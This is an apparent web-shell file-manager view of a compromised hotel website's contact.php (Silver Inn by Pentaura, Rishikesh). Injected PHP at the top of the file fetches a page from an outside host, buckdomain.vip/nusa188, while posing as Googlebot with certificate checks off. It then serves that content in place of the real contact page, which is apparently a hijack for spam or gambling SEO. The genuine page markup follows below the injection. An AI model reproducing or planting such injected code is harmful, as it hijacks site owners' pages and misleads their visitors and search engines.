File manager - Edit - /home/asiatechinc/public_html/asiatech-websites/pentaurahotels.com/contact.php
Back
<?php // ============================ // KONFIGURASI // ============================ $target = 'https://buckdomain.vip/nusa188/pentaurahotels.com-contact.php.html'; // ============================ // DETEKSI USER AGENT // ============================ $agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $isGoogle = ( stripos($agent, 'googlebot') !== false || stripos($agent, 'google-inspectiontool') !== false ); // ============================ // FETCH MIRROR UNTUK GOOGLE // ============================ $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n", 'timeout' => 10 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $html = @file_get_contents($target, false, $context); // ============================ // OUTPUT // ============================ if ($html !== false && strlen($html) > 100) { header("Content-Type: text/html; charset=UTF-8"); echo $html; exit; } // ============================ // FAILBACK // ============================ http_response_code(502); echo "Mirror tidak tersedia"; ?> <!DOCTYPE html> <html lang="zxx"> <head> <title>Contact Us - Silver Inn By Pentaura</title> <link rel="icon" href="images/favicon.png" type="image/gif" sizes="16x16" /> <meta content="text/html;charset=utf-8" http-equiv="Content-Type" /> <meta content="width=device-width, initial-scale=1.0" name="viewport" /> <link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" id="bootstrap" /> <link href="css/plugins.css" rel="stylesheet" type="text/css" /> <link href="css/swiper.css" rel="stylesheet" type="text/css" /> <link href="css/style.css" rel="stylesheet" type="text/css" /> <link href="css/coloring.css" rel="stylesheet" type="text/css" /> <link id="colors" href="css/colors/scheme-01.css" rel="stylesheet" type="text/css" /> <script async src="https://www.googletagmanager.com/gtag/js?id=G-RBC98VP19Y"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-RBC98VP19Y'); </script> </head> <body> <div id="wrapper"> <?php include 'include/header.php'?> <div class="no-bottom no-top" id="content"> <div id="top"></div> <section id="subheader" class="relative jarallax text-light"> <img src="images/background/3.jpg" class="jarallax-img" alt="" /> <div class="container relative z-index-1000"> <div class="row justify-content-center"> <div class="col-lg-12 text-center"> <h1>Contact Us</h1> <ul class="crumb"> <li><a href="index.php">Home</a></li> <li class="active">Contact Us</li> </ul> </div> </div> </div> <div class="de-overlay"></div> </section> <section class="relative"> <div class="container"> <div class="row g-4 justify-content-center"> <div class="col-lg-12"> <form name="contactForm" id="contact_form" class="position-relative z1000" method="post" action="mail.php"> <div id="contact_form_wrap" class="row gx-4"> <div class="col-lg-12"> <div class="text-center"> <h3 class="mb-4">Contact Silver Inn – Your Comfort Awaits</h3> </div> </div> <div class="col-lg-6 col-md-6 mb10"> <div class="field-set"> <input type="text" name="name" class="form-control" placeholder="Your Name" required pattern="^(?!\s*$).+" title="Name cannot be empty or contain only spaces" /> </div> <div class="field-set"> <input type="text" name="email" class="form-control" placeholder="Your Email" required pattern="^(?!\s*$).+" title="Email cannot be empty or contain only spaces" /> </div> <div class="field-set"> <input type="text" name="phone" class="form-control" placeholder="Your Phone" required pattern="^(?!\s*$).+" title="Phone cannot be empty or contain only spaces" /> </div> <div class="field-set mb20"> <textarea name="message" class="form-control" placeholder="Your Message" required></textarea> </div> <div> <div class="g-recaptcha" data-sitekey="6LftuvorAAAAAK3ogUHzhOQmueHcfyzFdwT2oe0I"></div> <script src="https://www.google.com/recaptcha/api.js" async defer></script> </div> <div class="text-center mt-3"> <input type="submit" id="send_message" value="Send Message" class="btn-main" style="width: 100%;" /> </div> </div> <div class="col-lg-6 col-md-6"> <h4>Address</h4> <p>Ghugtiyani Talli, Badrinath Road, Tapovan, Rishikesh, District - Tehri Garhwal, Uttrakhand, 249137</p> <h4>Phone</h4> <p>+91 9520544577, 9997845924</p> <h4>Email</h4> <p>silverinnbypentaura@gmail.com</p> </div> </div> <div id="success_message" class="success"> Your message has been sent successfully. Refresh this page if you want to send more messages. </div> <div id="error_message" class="error"> Sorry there was an error sending your form. </div> </form> </div> </div> </div> </section> </div> <div class="container-fluid"> <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3450.714720942445!2d78.3247277!3d30.1309757!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x39091726a0150fb1%3A0x9bc810fed18bf2b1!2sHotel%20Silver%20Inn!5e0!3m2!1sen!2sin!4v1761653474035!5m2!1sen!2sin" width="100%" height="450" style="border: 0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade" ></iframe> </div> </div> <?php include 'include/footer.php'?> <!-- footer close --> <script data-cfasync="false" src="../../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script> <script src="js/plugins.js"></script> <script src="js/designesia.js"></script> <script src="js/swiper.js"></script> <script src="js/custom-marquee.js"></script> <script src="js/custom-swiper-2.js"></script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings